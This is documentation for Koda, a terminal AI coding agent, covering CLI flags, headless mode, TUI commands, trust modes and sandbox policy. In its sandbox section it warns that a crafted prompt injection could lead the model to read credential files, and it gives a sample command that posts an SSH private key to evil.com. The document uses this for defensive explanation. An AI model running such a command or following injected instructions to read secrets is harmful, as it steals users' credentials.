Keyboard shortcuts

Press ← or β†’ to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Koda 🐻

Koda is a terminal-native AI coding agent. It runs locally, keeps all data on your machine, and connects to any LLM provider you choose.

Modes at a glance

ModeHow to invokeBest for
Interactive TUIkoda (no args)Long sessions, iterative coding
Headlesskoda "prompt" or echo … | kodaScripts, CI, one-shot tasks
ACP serverkoda server --stdioEditor plugins (VS Code, Zed, …)

Quick start

# 1. Open the interactive TUI
koda

# 2. Ask something at the prompt
#    > explain why the auth tests are failing

# 3. Type /help inside for keybindings and commands

First run triggers onboarding: Koda looks for a running local model (LM Studio, Ollama) and falls back to prompting for a cloud API key.

What’s next

CLI reference

Flags

FlagEnv varDescription
-p, --prompt <PROMPT>Run a single prompt and exit (headless). Use "-" for stdin
<PROMPT> (positional)Same as -p β€” koda "fix the bug" works
-a, --agent <NAME>Agent definition to use (JSON in agents/, default: default)
-s, --resume <ID>Resume a previous session by ID prefix
--model <NAME>KODA_MODELModel name or alias (e.g. claude-sonnet, gemini-flash)
--provider <NAME>KODA_PROVIDERLLM provider (anthropic, gemini, openai, ollama, …)
--base-url <URL>KODA_BASE_URLOverride the provider’s API base URL
--max-tokens <N>Maximum output tokens
--temperature <F>Sampling temperature (0.0–2.0)
--thinking-budget <N>Anthropic extended thinking budget (tokens)
--reasoning-effort <L>OpenAI reasoning effort (low, medium, high)
--mode <MODE>KODA_MODETrust mode: auto (default, #1241) or safe. Auto auto-approves mutating actions; the kernel sandbox contains them β€” destructive ops (rm -rf, git reset --hard, git push --force, Delete) and outside-project writes still confirm. Auto requires the kernel sandbox; on unsandboxed platforms koda refuses to start (use --mode safe or install the platform sandbox backend). Safe confirms every mutation. Kernel sandbox with credential protection is always active when available.
--output-format <FMT>Headless output format: text (default) or json
--project-root <DIR>Project root (defaults to cwd)

Subcommands

CommandDescription
koda server --stdioStart ACP server over stdin/stdout (for editors)
koda server --port <N>WebSocket ACP server on port N (not yet implemented)
koda --versionPrint version + kernel sandbox availability (one line, paste-friendly for bug reports)

Headless mode

Headless mode runs a single prompt, prints the answer, and exits. No TUI β€” the assistant’s reply streams to stdout; tool status goes to stderr.

# Positional prompt (shortest form)
koda "what does this codebase do?"

# Explicit -p flag
koda -p "fix the failing tests"

# Read prompt from stdin (use "-" literally)
koda -p - < my_question.txt

# Pipe into koda β€” stdin is auto-detected when not a TTY
git diff HEAD~1 | koda
cat error.log | koda
echo "review auth.rs" | koda

# With a model override
koda "explain this" --model gemini-flash

# Capture just the assistant reply (tool status stays on stderr)
koda "list exported functions in lib.rs" > functions.txt

Exit codes

CodeMeaning
0Turn completed successfully
1Error (API failure, bad config, …)

Trust mode in headless mode

There is no human to approve tool calls. Koda applies a headless policy β€” more restrictive than interactive Auto mode:

  • Approves read-only tools: Read, Grep, Glob, WebFetch
  • Approves safe write tools: Write, Edit (files within the project)
  • Rejects all destructive operations: Delete tool, rm -rf, git push --force, etc.
  • Skips AskUser questions (prints to stderr, continues with empty answer)

The sandbox enforces credential protection and write restrictions regardless of trust mode.

Output formats

--output-format text (default) β€” streams the assistant’s reply to stdout exactly as typed. Tool call summaries go to stderr.

--output-format json β€” emits a single JSON object after the turn ends:

{
  "success": true,
  "response": "The exported functions are …",
  "session_id": "a3f8bc12-…",
  "model": "claude-sonnet-4-6"
}

File attachment in headless mode

The @file syntax works in headless mode too:

koda "review @src/auth.rs and @tests/auth_test.rs"

Resuming a session in headless mode

# Note the session ID shown in the TUI status bar, then continue from a script
koda -s a3f8bc "run the failing tests and fix them"

Interactive TUI

Run koda with no arguments to open the full-screen TUI.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  [conversation history β€” scrollable with PgUp/PgDn]                     β”‚
β”‚                                                                          β”‚
β”‚  ⚑ Bash   cargo test                                                    β”‚
β”‚  β”‚ running 42 tests …                                                   β”‚
β”‚  βœ“ Bash (exit 0)                                                         β”‚
β”‚                                                                          β”‚
β”‚  All tests pass! Here's what I changed in `auth.rs` …                   β”‚
│────────────────────────────────────────────────────── 🐻 ────────────────│
β”‚  > _                                                                     β”‚
β”‚  πŸ“‹ 1  also update the README                                            β”‚
β”‚  πŸ“‹ 2  then run the linter                                               β”‚
β”‚  ↑ pop  Β·  Ctrl+U clear                                                 β”‚
β”‚  claude-sonnet-4 β”‚ auto β”‚ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–‘β–‘ 78% β”‚ ⏳ 8s β”‚ πŸ“‹ 2 queued ^U clear β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Layout

  • History panel β€” scrollable conversation history. Supports syntax-highlighted code blocks, rendered markdown, and collapsible tool-call summaries.
  • Input β€” multi-line editor with tab-completion for slash commands and @file paths, and reverse-search (Ctrl+R).
  • Queue preview β€” shown above the status bar only when the deferred queue has items. Displays up to 3 rows of pending text with index numbers, an overflow count, and keybinding hints. Hidden when the queue is empty.
  • Status bar β€” live view of model, trust mode, current working directory (right-truncated to fit, with ~ substitution for $HOME), context usage bar, MCP server count (when configured), inference time, queue count, and last-turn token/speed stats.

Starting a conversation

Type your message and press Enter. Koda streams the response in real time.

Typing during inference

You can type while Koda is thinking or running tools. The input area stays active throughout. Two lanes are available:

Next lane β€” steer the current turn (default)

Press Enter during inference. Your text is sent directly to the engine and injected into the current turn before the next provider request. The model sees it immediately β€” useful for course-correcting mid-task.

  πŸ“₯ Next: add the missing error handling too

Slash commands (/cancel, /clear, /model, …) are not accepted mid-inference (#1211/#1222). Type /cancel agent:1 while the model is thinking and you’ll see a transient β€œslash commands disabled during inference β€” press Esc first” hint instead of the text being silently steered to the model. Press Esc to interrupt, then run the slash.

Later lane β€” queue for the next turn

Press Ctrl+J during inference. Your text is deferred to the later queue and will run as a single new turn after the current one completes. All deferred items are joined and submitted together, so the model sees them as one message.

  πŸ“‹ Later (1): also bump the version number

Slash commands are blocked from this lane too (#1211/#1222) for the same reason β€” a deferred /clear would silently wipe history when the next turn starts. Press Esc, then run the slash.

Queue preview widget

While items are in the later queue, a preview panel appears above the status bar:

  πŸ“‹ 1  also bump the version number
  πŸ“‹ 2  and update the changelog
  ↑ pop  Β·  Ctrl+U clear
  • ↑ (Up Arrow) β€” pops the last item back into the editor so you can edit it before re-submitting.
  • Ctrl+U β€” clears all deferred items without cancelling inference.
  • Esc / Ctrl+C β€” cancels inference and also clears the queue so deferred messages don’t fire unexpectedly after a cancelled turn.

Choosing a lane

SituationUse
β€œActually, also handle the edge case”Enter (next β€” stays in this turn)
β€œAfter this is done, update the docs”Ctrl+J (later β€” new turn when done)
Changed your mind about a later item↑ to pop it back into the editor
Abort everythingEsc then clear queue with Ctrl+U if needed

Approval prompt

When trust mode is safe or plan, Koda asks before executing tools. The menu area shows the tool name, the action detail, and hotkeys:

  Bash  rm -rf dist/
  [y] approve   [n] reject   [f] feedback   [a] always

See Approval & trust modes for the full reference.

See also Slash commands and Keybindings.

File & image attachments

Attaching files

Type @ anywhere in your message to attach files as context:

> explain @src/auth.rs
> compare @old_impl.rs and @new_impl.rs
> what's wrong with @error.log

As you type after @, a fuzzy file picker appears. Press Tab to cycle through matches or select with Enter. The file’s full contents are injected into the message before it’s sent to the model.

Images

For vision-capable models (Claude, Gemini, GPT-4o), attach images directly:

> what does @screenshot.png show?
> explain the architecture in @diagram.png

Supported formats: PNG, JPEG, GIF, WEBP. Images are base64-encoded and sent inline to the model API.

Non-image files (SVG, PDF, etc.) attached via @ are sent as text content, not as vision input.

Large pastes

Pasting more than ~500 characters into the input is automatically wrapped in a reference block to keep prompts clean:

> [pasted 1,234 chars β€” attached as reference]
> what's the bug in this code?

The paste is still sent to the model; it just doesn’t clutter the display.

Slash commands

Type in the TUI input. Tab-completion is available for all commands.

/help

Shows the quick-reference keybinding card inside the TUI. This docs site is the full reference; /help is the in-session reminder.

/model [<alias-or-id>]

Without an argument: opens an interactive picker listing all model aliases and any locally running models detected via LM Studio or Ollama.

With an argument: switches immediately.

/model gemini-flash        ← switch by alias
/model claude-opus         ← switch by alias
/model local               ← auto-detect from LM Studio
/model gpt-4o              ← literal model ID (no alias needed)
/model llama3.2            ← any model name your provider understands

The new model is persisted to the keystore and used for all future sessions until changed again. See Providers & model aliases.

/provider [<name>]

Without an argument: opens a two-step picker β€” choose provider, then browse and pick one of its available models.

With an argument: jumps straight to that provider’s model list.

/provider                  ← open the picker
/provider anthropic        ← go straight to Anthropic models
/provider ollama           ← browse locally running Ollama models

/key

Opens the API key manager. Select a provider, then type or paste your key. Keys are stored in the local SQLite keystore (file mode 0600) and injected as environment variables at every startup.

As of v0.2.27 (#1185), the input is rendered with each character masked as β€’ while you type, so a peer glancing at your terminal won’t see the key itself β€” useful for screen-sharing or pair-coding sessions. The composer still tracks the real characters under the hood; backspace and paste behave normally.

Shell env vars always win over stored keys β€” so export ANTHROPIC_API_KEY=… in your shell or .envrc is always a clean override.

/compact

Summarises old conversation history to free context tokens. Koda auto-compacts when the context window hits 85% full, but you can trigger it manually at any time:

  • All but the last 4 messages are summarised by the model
  • The summary replaces the old messages in the DB
  • The compressed session continues normally
  • Use /purge later to clean up the archived messages

/purge [<age>]

Deletes compacted (archived) message history. Does not touch the live messages in your current session.

/purge        ← delete all archived messages (prompts for confirmation)
/purge 90d    ← only messages archived more than 90 days ago
/purge 30d    ← only messages archived more than 30 days ago

Requires y to confirm. Deleted messages are gone permanently.

/undo

Reverts all file mutations from the previous inference turn β€” Write, Edit, and Delete tool calls. One /undo per turn; call again to go back another turn. Bash commands (e.g. cargo build) are not undoable.

# Koda wrote bad code in the last turn
/undo    ← all file changes from that turn are reverted
/undo    ← undo the turn before that

/diff

Shows a summary of uncommitted git diff in the project root. Then offers:

  • Review β€” sends the diff to the model for code review comments
  • Commit β€” asks the model to write a conventional commit message and runs git commit -m "…"

/sessions [<sub-command>]

/sessions              ← open the session picker (shows last 100 sessions)
/sessions resume abc   ← resume the session whose ID starts with "abc"
/sessions delete abc   ← permanently delete that session

Session IDs are UUIDs; you only need 6–8 characters to be unambiguous. On resume, Koda shows an away-summary: idle time, message count, token usage, and a banner if the previous turn was interrupted mid-inference.

/memory [save]

/memory        ← show the paths to project and global memory files
/memory save   ← ask the model to summarise the session and append to MEMORY.md

See Memory for the full memory system.

/skills [<query>]

/skills              ← list all built-in and custom skills
/skills security     ← filter by name or description

/agent <name>

Switches to a named sub-agent for the current session. The agent’s system prompt, model, and allowed tools replace the current defaults.

/agent testgen     ← use the "testgen" agent definition

/agents

Removed in #1210. The flat-text /agents dump (and its short-lived interactive replacement from #1191) was superseded by the always-on bg-activity overlay rendered just above the status bar. The overlay shows every running background sub-agent and shell process in real time β€” id, name, the last tool call each one fired, and elapsed age β€” with no slash-command needed.

  πŸ€– agent:1  explore    Read('src/lib.rs')         2m
  πŸ€– agent:2  verify     Bash('cargo test')         45s
  βš™οΈ process:5821  cargo test --workspace          1m
  + 2 more

The LLM-facing equivalent is still the ListBackgroundTasks tool β€” the model sees the same task ids when it asks about its own background work.

/cancel <id>

Requests cancellation of a background task by id (visible in the bg-activity overlay above the status bar). Accepts three forms:

  • agent:N β€” fires the per-task CancellationToken, which the inference loop checks between iterations. A cancelled sub-agent may run for one more iteration before noticing. The result still injects on the next user turn (with status Cancelled instead of Completed), so you don’t lose any partial work the agent already did.
  • process:N β€” sends SIGTERM to the shell process. The reaper transitions the entry to Killed immediately and to Exited once the OS confirms the process is gone.
  • N (bare numeric) β€” back-compat with the original single- registry /cancel UX; treated as agent:N.
/cancel agent:1       ← cancel background sub-agent #1
/cancel process:5821  ← SIGTERM background shell process pid 5821
/cancel 1             ← back-compat: same as `/cancel agent:1`

Idempotent: re-running /cancel agent:1 on an already-cancelled task is a no-op; /cancel process:N on an already-dead pid is also a no-op (the kernel just rejects the SIGTERM). Unknown ids report a helpful error rather than silently no-oping.

The LLM-facing equivalent is the CancelTask tool, which uses the same parser and accepts the same prefixed forms.

/expand [<n>]

Shows the full, untruncated output of a recent tool call. Useful when Koda collapsed a long cargo build or grep result during streaming.

/expand      ← show full output of the most recent tool call
/expand 3    ← show full output of the 3rd most recent tool call

/copy [<n>]

Copies the Nth-most-recent assistant response to the system clipboard. Defaults to the most recent response (n=1).

/copy      ← copy the last response
/copy 2    ← copy the second-to-last response
/copy 5    ← copy the fifth-to-last response

Reads from the full session DB, so compacted (summarised) responses are included in the count. A one-line preview is shown in the confirmation.

/debug-bundle

Writes a self-contained .zip artifact capturing everything a debugger (human or LLM) needs to reason about the current session. Replaces the /export command removed in v0.2.26 (RFC #1167).

/debug-bundle

The bundle is written to:

~/.config/koda/debug-bundles/koda-debug-{timestamp}-{slug}.zip

where {slug} is derived from the first user message. The success message prints the full path and a hint to the raw log directory:

Wrote debug bundle β†’ /Users/you/.config/koda/debug-bundles/koda-debug-20260429-082303-fix-the-auth-bug.zip
  raw logs: /Users/you/.config/koda/logs/latest

Bundle layout

FileWhat’s in it
README.mdHuman-orientation: what each file is, when to share, the env-var redaction caveat
conversation.mdFull session rendered via the same history_render pipeline as the live TUI β€” byte-for-byte identical to what you saw on screen
messages.jsonRaw per-message DB rows (role, content, tool calls, tool results)
metadata.jsonSession ID, title, started-at, model, provider, current PID, capture timestamp
env.txtAllowlist-filtered environment variables (see below)
logs/koda-{PID}.logFull per-process tracing log captured by the active session
logs/panic.logPresent only if the session encountered a panic; mirrors ~/.config/koda/logs/panic.log

The .zip format was chosen for random-access reads β€” LLM debugging workflows that poke at one file at a time pay O(file) instead of O(bundle), and the artifact opens cleanly in Finder Quick Look, Windows Explorer, and any unzip CLI.

Environment-variable redaction

env.txt is filtered through an allowlist by default in koda-cli/src/debug_bundle/env_filter.rs. The filter has three categories:

  • Pass through verbatim: KODA_*, RUST_*, LC_*, LANG, TERM, SHELL, PATH, proxy vars (HTTP_PROXY / HTTPS_PROXY / NO_PROXY).
  • Length-redact: known credential vars (OPENAI_API_KEY, ANTHROPIC_API_KEY, GITHUB_TOKEN, GEMINI_API_KEY, etc.) appear as <redacted, N bytes> so their presence is visible to the debugger but the value never leaks.
  • Drop entirely: PII (HOME, USER, PWD, LOGNAME) and any unknown variable. Defaulting unknown to drop protects against unanticipated future credential names.

There is no runtime opt-in to disable this filter. Embedding raw std::env::vars() in a sharable artifact is a foot-gun even with opt-in flags; the bundle README also reminds you to re-check env.txt before sharing externally.

When to use it

  • Reporting a bug to the koda issue tracker β€” attach the .zip so maintainers see your exact session, panic context, and runtime environment.
  • Asking another LLM (Claude, ChatGPT, Gemini) to help debug a koda session β€” the model can unzip and read conversation.md directly.
  • Capturing a known-bad state for later analysis (the timestamped filename + slug make bundles trivially sortable).

Self-correlating logs (v0.2.26)

When a panic occurs, the panic hook now emits a tracing::error! breadcrumb in rustc’s default format (thread '<name>' panicked at <location>: <message>) before writing panic.log. The breadcrumb lands in the per-process tracing log, so within a /debug-bundle the logs/panic.log and logs/koda-{PID}.log are correlatable by wall-clock timestamp β€” no more orphan panic files disconnected from the events that led up to them.

/verbose [on|off]

Toggles verbose tool output. By default Koda collapses long outputs during streaming. Verbose mode shows every line in real time.

/verbose      ← toggle
/verbose on   ← enable explicitly
/verbose off  ← disable explicitly

/vim

Toggles vim-mode editing in the input composer. When enabled, the composer behaves like a single-buffer vi: Esc enters Normal mode, i/a/o re-enter Insert mode, and the usual h j k l, w b e, 0 $, gg G, dd yy p, x, cc, ci<delim>, ca<delim>, etc. bindings are honored. Useful when you’re already living in vim and want the same muscle memory in koda’s chat input.

Added in v0.2.27 (#1182). The setting is per-session only; relaunching koda starts back in plain insert mode.

See also: Keybindings β†’ Vim mode.

/exit

Quit Koda. Equivalent to Ctrl+D.

/mcp <sub-command>

Manage external MCP (Model Context Protocol) servers. See MCP servers for the full reference.

/mcp list                                  ← list configured servers + status
/mcp add <name> <command> [args...]        ← add a stdio server
/mcp add-http <name> <url> [--token <tok>] ← add an HTTP server
/mcp reconnect <name>                      ← reconnect without restart
/mcp remove <name>                         ← permanently delete a server

Keybindings

Input

KeyAction
EnterSend message (or queue as next during inference; slash commands rejected mid-inference β€” press Esc first)
Ctrl+JQueue message as later during inference (slash commands rejected mid-inference β€” press Esc first)
Alt+EnterInsert newline (multi-line input)
TabAutocomplete slash commands and @file paths
Shift+TabCycle trust mode (Safe ↔ Auto)
↑ / ↓Cycle through input history (idle) Β· pop later queue into editor (during inference)
Ctrl+RReverse history search
Ctrl+UClear deferred (later) queue during inference
KeyAction
PgUp / PgDnScroll history one page up / down
HomeJump to top of history
EndJump to bottom (latest output)
Mouse scrollScroll conversation history

Session control

KeyAction
EscCancel current inference
Ctrl+CCancel current inference
Ctrl+DQuit koda

Editor (composer)

Deletion chords inside the input composer. The redundant variants exist so users coming from different terminals / OSes hit a working binding on the first try (ported from upstream codex in #1278 to match codex’s default keymap).

KeyAction
Backspace Β· Shift+Backspace Β· Ctrl+HDelete character before cursor
Delete Β· Shift+Delete Β· Ctrl+DΒΉDelete character after cursor
Alt+Backspace Β· Ctrl+Backspace Β· Ctrl+Shift+Backspace Β· Ctrl+WDelete word before cursor
Alt+Delete Β· Ctrl+Delete Β· Ctrl+Shift+DeleteDelete word after cursor

ΒΉ Ctrl+D deletes a character only when the input has content; on an empty input it quits koda (see Session control above).

Approval prompt

These keys appear when the agent asks to execute a tool:

KeyAction
yApprove this action
nReject this action
aApprove and switch to auto mode (no more confirmations this session)
fReject and type written feedback explaining why
EscReject (same as n)

Vim mode

Toggle with /vim. Once enabled, the input composer behaves like a single-buffer vi.

Modes: Insert (default after toggle) ↔ Normal (Esc).

ModeKeysAction
Normali, a, o, O, I, ARe-enter Insert at various positions
Normalh j k lMove cursor left/down/up/right
Normalw, b, eWord forward / back / end-of-word
Normal0, ^, $Beginning of line / first non-blank / end of line
Normalgg, GJump to first / last line
Normalx, dd, yy, p, PDelete char / line Β· yank line Β· paste after / before
Normalcc, ci<delim>, ca<delim>Change line / inside / around delimiter
Normaldw, db, de, d$, d0Delete by motion
Normalu, Ctrl+RUndo Β· Redo
Normal:(Reserved β€” no commands wired yet)

Caveat: Vim mode is per-session and the slash command toggles it on/off; it does not persist across koda restarts. The setting also does not affect Approval-prompt keys above (those remain y/n/a/f/Esc).

Composer key hints

A single-line footer below the input shows context-sensitive key hints (e.g. Enter send Β· Alt+Enter newline Β· Tab complete). The hints update based on whether the input is empty, has content, has an active dropdown, or is in vim mode. Added in v0.2.27 (#1183).

Trust modes

Koda has one permission knob β€” TrustMode β€” that controls whether tool calls execute, get a confirmation prompt, or get blocked outright. Toggle with Shift+Tab in the TUI; the current mode is shown as a color-coded badge in the status bar.

Mental model in one paragraph

The trust mode is the single mechanism for tool gating. Every permission decision in Koda β€” whether the master agent can write to disk, whether a sub-agent can call Bash, whether rm -rf is auto-approved β€” derives from (trust_mode, tool_effect). The kernel sandbox (macOS seatbelt / Linux bwrap) is the always-on safety floor underneath; the trust mode only decides whether you see a confirmation prompt before each mutation. There are no separate β€œstrict mode,” β€œyolo mode,” or per-tool toggles to keep in your head.

The three modes

ModeBadgeMental model
PlanπŸ“‹ PLAN (cyan)β€œInvestigation only β€” no side effects.” Read tools auto-approve; mutating and destructive tools are blocked (not just confirmed). Use for code review, exploration, and dry runs.
SafeπŸ”’ SAFE (yellow)β€œConfirm every side effect.” Read tools auto-approve; everything that mutates state asks first. Use this in CI, locked-down workstations, or any context where you want a human in every approval loop.
Auto⚑ AUTO (bold green)β€œTrust the sandbox.” Read and mutating ops auto-approve within the sandbox; destructive ops (rm -rf, git reset --hard, git push --force, Delete) still ask. Outside-project writes still ask. Default since #1241 β€” the kernel sandbox + outside-project floor + destructive backstop combined provide a solid baseline without nag-by-default friction. Auto requires the kernel sandbox; on unsandboxed platforms koda refuses to start (#860 / #1259).

All three badges share the same icon + UPPERCASE + bold styling so the trust mode is unmissable in the status bar regardless of which mode you’re in. Auto originally rendered as inverted black-on-green for extra loudness, but the hardcoded background clashed with terminal color schemes that already use bright green palettes; reverted to bold green text for guaranteed readability on every scheme. (#1232 Β§8a, originally #1243; reverted post-merge.)

Trust mode Γ— tool effect matrix (top-level / master agent)

The master agent β€” i.e. you talking to Koda directly β€” uses this matrix:

Tool effectPlanSafeAuto
ReadOnlyβœ… autoβœ… autoβœ… auto
LocalMutation (Write/Edit/MemoryWrite)❌ deny⏸ confirmβœ… auto
RemoteAction❌ deny⏸ confirmβœ… auto
Destructive (Delete, rm -rf, force-push, …)❌ deny⏸ confirm⏸ confirm
Outside-project write❌ deny⏸ confirm⏸ confirm

Why Auto Γ— Destructive confirms (changed in #1251): the user said YOLO for normal work, not for rm -rf. Destructive ops by definition can’t be undone by the sandbox alone (deleting a tracked file is β€œlegal” inside the project root), so Auto keeps the prompt as a deliberate speed-bump.

Sub-agent matrix (context-sensitive resolution)

Sub-agents (anything dispatched via InvokeAgent) have no live human approval channel β€” by design. The master agent’s TUI is the only confirm-prompt surface; sub-agents run headlessly and can’t β€œask” anyone. So the sub-agent matrix resolves what the master would treat as ⏸ confirm using a safe-side rule:

Tool effectSub-agent in PlanSub-agent in SafeSub-agent in Auto
ReadOnlyβœ… autoβœ… autoβœ… auto
LocalMutation❌ denyβœ… autoβœ… auto
RemoteAction❌ denyβœ… autoβœ… auto
Destructive❌ deny❌ block❌ block
Outside-project write❌ deny❌ block❌ block

The asymmetry on the β€œask” cells: in Safe mode, mutating ops auto-approve (the user already trusted this sub-agent enough to spawn it; nagging would be useless without a UI to nag in), but destructive ops block (we still want a backstop on the worst ops, even when no one’s home to confirm). This is the bug fix from #1249 β€” pre-#1251, every Write from a Safe-trust sub-agent was auto-rejected with β€œrequires user confirmation but this sub-agent has no channel to the user.”

The sub-agent matrix is implemented in koda_core::trust::check_tool_for_sub_agent; the master matrix is check_tool. Both are pure functions with the same signature otherwise.

Always-on safety floors

These apply regardless of the trust mode:

  1. Kernel sandbox (macOS seatbelt / Linux bwrap) restricts file writes to the project directory + scratch zones (/tmp, ~/.cache, ~/.cargo, etc.) and protects credential dirs/files. See Sandbox.
  2. Outside-project floor β€” writes to paths outside the project root always confirm (Safe + Auto) or deny (Plan), even if the matrix would otherwise auto-approve.
  3. Sandbox-unavailable refusal β€” if the platform backend isn’t installed (e.g. bwrap missing on Linux), Auto mode refuses to start with an actionable error that includes a platform-specific install hint (e.g. apt install bubblewrap). The previous β€œsilently downgrade Auto β†’ Safe” plan was replaced (#860) because silent coercion is catastrophic in headless: koda --mode auto -p "..." would become Safe and every mutation would hit RejectAuto (no human channel), aborting the task halfway. Hard refusal at startup gives a clear error + exit code 1 instead. Safe and Plan are unaffected. The TUI status bar shows the current sandbox state (πŸ›‘ sandboxed / ⚠ unsandboxed) next to the trust badge so you can see at a glance why Auto refuses on your system; koda --version prints the same state on a paste-friendly one-liner.
  4. Agent-file protection β€” .koda/agents/ and .koda/skills/ are write-protected in every mode to prevent prompt injection from rewriting an agent’s tools or system prompt mid-session.
  5. Credential scrub β€” sandboxed shell calls run with a fixed env allowlist; secrets like OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN never reach the child process. (#1228)

Approval keys

When a confirmation prompt appears:

KeyEffect
yApprove this one action
nReject this one action
aApprove and enable Auto mode for the rest of the session
fReject and provide written feedback the model can act on
EscReject (same as n)

Per-agent trust declaration

Custom agents declare their trust mode in JSON via the trust field:

{ "name": "my-reviewer", "trust": "plan", "...": "..." }

Valid values: "plan" | "safe" | "auto". See Custom agents for the full per-agent shape.

The legacy write_access: bool field is deprecated β€” pre-existing JSONs continue to work (a warning is logged at load), but new agents should use trust: directly. The new field is strictly more expressive: it captures kernel sandbox bounds + per-tool approval rules + sub-agent context-sensitive defaults in one declaration, where write_access only spoke to the second half.

Headless mode

In headless mode there is no human to prompt. Koda applies the headless policy documented in Headless mode: read and safe in-project mutating tools approve, destructive Bash commands and Delete are rejected, and the sandbox enforces the perimeter. Auto still requires the kernel sandbox before headless execution can start.

Reference

  • Master matrix: koda_core::trust::check_tool
  • Sub-agent matrix: koda_core::trust::check_tool_for_sub_agent
  • Sandbox-unavailable Auto refusal: koda_core::trust::require_sandbox_for_auto
    • setup hints from koda_core::sandbox::setup_hint
  • Per-agent loader & deprecation warning: koda_core::config::KodaConfig::load
  • Status-bar badge rendering: koda_cli::widgets::status_bar

Sandbox

Koda’s kernel sandbox is always active β€” every Bash command runs inside a sandboxed process. The sandbox enforces the perimeter; the trust mode controls whether you see a confirmation prompt before each mutation.

File tool read policy

Koda’s Read, List, Grep, and Glob tools are intentionally unrestricted β€” they can access any path on the filesystem the OS permits, including paths outside the project directory (e.g. ../other-repo, ~/.ssh/config).

Only Write, Edit, and Delete are gated to the project root.

Why reads are unrestricted

  1. Reads cannot mutate state. The worst-case outcome of an out-of-scope read is that the model sees something sensitive in its context window β€” which you, watching the terminal, can also see. No irreversible damage occurs.

  2. Bash already has the same reach. The Bash tool runs inside the kernel sandbox but has read access to the full filesystem. Restricting the Read tool while leaving Bash unrestricted is security theater β€” the model just falls back to cat ../secret.txt.

  3. OS-level sandboxing is the real boundary. On macOS (Seatbelt) and Linux (bwrap), the sandbox already defines what the process can access at the kernel level. Duplicating that check in the tool layer adds friction without adding protection.

  4. Cross-repo workflows are common. Developers routinely ask koda to read a sibling repo, a shared library, or a dotfile β€” restricting this forces awkward workarounds.

    This follows the Claude Code approach β€” Claude Code’s Read tool imposes no project-root scope check at all.

Accepted risk

⚠️ A carefully crafted prompt could trick the model into reading and summarising sensitive files β€” for example ~/.aws/credentials, ~/.ssh/id_rsa, or ~/.netrc β€” without explicit user consent. The content would appear in the chat window but not be exfiltrated unless the model also makes a network request (Bash + curl, WebFetch, etc.).

Mitigations:

  • Those files are write-protected by the kernel sandbox, so the model cannot modify or delete them.
  • Network exfiltration via Bash is constrained by the sandbox’s outbound network policy.
  • Trust-mode safe requires explicit approval before every Bash command, which catches curl-style exfiltration attempts.

If you work with highly sensitive secrets and want file-level read protection, run koda in a containerised environment with access to only the files you intend to expose.

Write restrictions

Bash commands can only write to:

  • The project directory
  • /tmp and standard cache dirs (~/.cache, ~/.cargo, etc.)

The in-process file tools (Write, Edit, Delete) enforce the same perimeter via safe_resolve_path (logical check) and koda_sandbox::fs::verify_mutation_safe (canonicalizing symlink-aware check). The two layer: the first rejects literal ../etc/passwd style escapes, the second rejects symlink escapes (the final path component being a symlink to outside, or any parent directory being one). See #1281.

The symlink check is enforced even with --no-sandbox. The debug escape hatch is for shell tracing; it isn’t a license to let the LLM clobber arbitrary files via a planted symlink. In-project symlinks (e.g. examples/latest -> v3/) keep working; only links whose canonical target escapes every allowed root are rejected.

Credential protection

Credential directories and files are write-protected β€” sandboxed commands cannot modify them, but CLI tools can still read their own config to authenticate. This follows the Codex model where the entire host filesystem is read-only and credential dirs are not special-cased beyond that.

Write-protected directories (reads allowed):

  • ~/.ssh β€” SSH private keys
  • ~/.aws β€” AWS credentials
  • ~/.gnupg β€” GPG private keys
  • ~/.kube β€” Kubernetes config and tokens
  • ~/.azure β€” Azure CLI tokens
  • ~/.password-store β€” pass(1) encrypted passwords
  • ~/.terraform.d β€” Terraform cloud tokens
  • ~/.claude β€” Claude Code settings and session tokens
  • ~/.android β€” Android SDK debug keystores and signing keys
  • ~/.config/gcloud β€” gcloud CLI credentials
  • ~/.config/gh β€” GitHub CLI PATs
  • ~/.config/op β€” 1Password CLI tokens
  • ~/.config/helm β€” Helm registry auth
  • ~/.config/netlify β€” Netlify CLI access tokens
  • ~/.config/vercel β€” Vercel CLI credentials
  • ~/.config/fly β€” Fly.io CLI auth tokens
  • ~/.config/doppler β€” Doppler secrets manager tokens
  • ~/.config/stripe β€” Stripe CLI API keys
  • ~/.config/heroku β€” Heroku CLI OAuth tokens

Write-protected files (reads allowed): ~/.netrc, ~/.git-credentials, ~/.npmrc, ~/.pypirc, ~/.docker/config.json, ~/.vault-token, ~/.env

Fully blocked (read + write):

  • ~/.config/koda/db β€” Koda’s SQLite DB containing plaintext API keys

Security note β€” accepted risk: A sandboxed command can read credential material and could exfiltrate it over the network (e.g. curl https://evil.com -d @~/.ssh/id_rsa). Blocking credential reads without blocking network egress is security theater β€” the model could also obtain tokens from environment variables, process output, or tool-specific commands like gh auth token. Network-level egress restriction (#844 Gap 4) is the proper mitigation and is tracked separately.

The only exception is koda/db β€” koda’s own API keys have no legitimate use inside the sandbox (the koda process runs outside the sandbox), so full read+write deny is justified.

Agent-file protection

In all modes, writes to .koda/agents/ and .koda/skills/ within the project are blocked. This prevents a sandboxed command from modifying agent definitions that could alter system prompts or tool access.

Sub-agent inheritance

Child agents inherit the parent’s trust mode and sandbox via TrustMode::clamp() β€” a child can never run with less protection than its caller. If the parent runs in Safe mode, the child runs in Safe mode even if the agent JSON specifies "trust": "auto".

